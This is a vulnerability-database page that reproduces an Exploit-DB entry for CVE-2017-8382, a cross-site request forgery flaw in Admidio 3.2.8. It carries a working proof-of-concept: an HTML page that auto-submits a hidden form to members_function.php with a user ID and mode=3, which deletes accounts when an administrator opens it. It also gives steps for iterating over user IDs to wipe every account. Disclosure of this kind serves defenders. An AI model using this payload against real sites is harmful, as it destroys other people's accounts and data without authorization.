Lucene search
K

Admidio 3.2.8 - Cross-Site Request Forgery

🗓️ 28 Apr 2017 00:00:00Reported by Faiz Ahmed ZaidiType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 28 Views

Admidio 3.2.8 CSRF vulnerability allows arbitrary user account deletio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Admidio 3.2.8 - Cross-Site Request Forgery Vulnerability
15 May 201700:00
zdt
Circl
CVE-2017-8382
28 Apr 201700:00
circl
CNVD
Admidio Cross-Site Request Forgery Vulnerability (CNVD-2017-10374)
16 May 201700:00
cnvd
CVE
CVE-2017-8382
16 May 201710:00
cve
Cvelist
CVE-2017-8382
16 May 201710:00
cvelist
EUVD
EUVD-2022-3509
3 Oct 202520:07
euvd
exploitpack
Admidio 3.2.8 - Cross-Site Request Forgery
28 Apr 201700:00
exploitpack
Github Security Blog
admidio CSRF Vulnerability
17 May 202202:42
github
GitLab Advisory Database
Cross-Site Request Forgery (CSRF)
17 May 202200:00
gitlab
NVD
CVE-2017-8382
16 May 201710:29
nvd
Rows per page
# Exploit Title :Admidio 3.2.8 (CSRF to Delete Users)
# Date: 28/April/2017
# Exploit Author: Faiz Ahmed Zaidi Organization: Provensec LLC Website: 
http://provensec.com/
# Vendor Homepage: https://www.admidio.org/
# Software Link: https://www.admidio.org/download.php
# Version: 3.2.8
# Tested on: Windows 10 (Xampp)
# CVE : CVE-2017-8382


[Suggested description]
Admidio 3.2.8 has CSRF in 
adm_program/modules/members/members_function.php with
  an impact of deleting arbitrary user accounts.

  ------------------------------------------

  [Additional Information]
  Using this crafted html form we are able to delete any user with 
admin/user privilege.

  <html>
    <body onload="javascript:document.forms[0].submit()">
      <form 
action="http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php">
        <input type="hidden" name="usr&#95;id" value='9' />
        <input type="hidden" name="mode" value="3" />
        </form>
    </body>
  </html>

[Affected Component]
  http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php

  ------------------------------------------

  [Attack Type]
  Remote

  ------------------------------------------

  [Impact Escalation of Privileges]
  true

  ------------------------------------------

  [Attack Vectors]
  Steps:
  1.) If an user with admin privilege opens a crafted
  html/JPEG(Image),then both the admin and users with user privilege
  which are mentioned by the user id (as like shown below) in the
  crafted request are deleted.

   <input type="hidden" name="usr&#95;id" value='3' />

  2.) In admidio by default the userid starts from '0',
  '1' for system '2' for users, so an attacker
  can start from '2' upto 'n' users.

  3.)For deleting the user permanently we select 'mode=3'(as like shown
  below),then all admin/low privileged users are deleted.

   <input type="hidden" name="mode" value="3" />

  ------------------------------------------

  [Reference]
  https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

Thanks
Faiz Ahmed Zaidi

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Apr 2017 00:00Current
4.7Medium risk
Vulners AI Score4.7
CVSS 23.5
CVSS 34.5
EPSS0.00645
28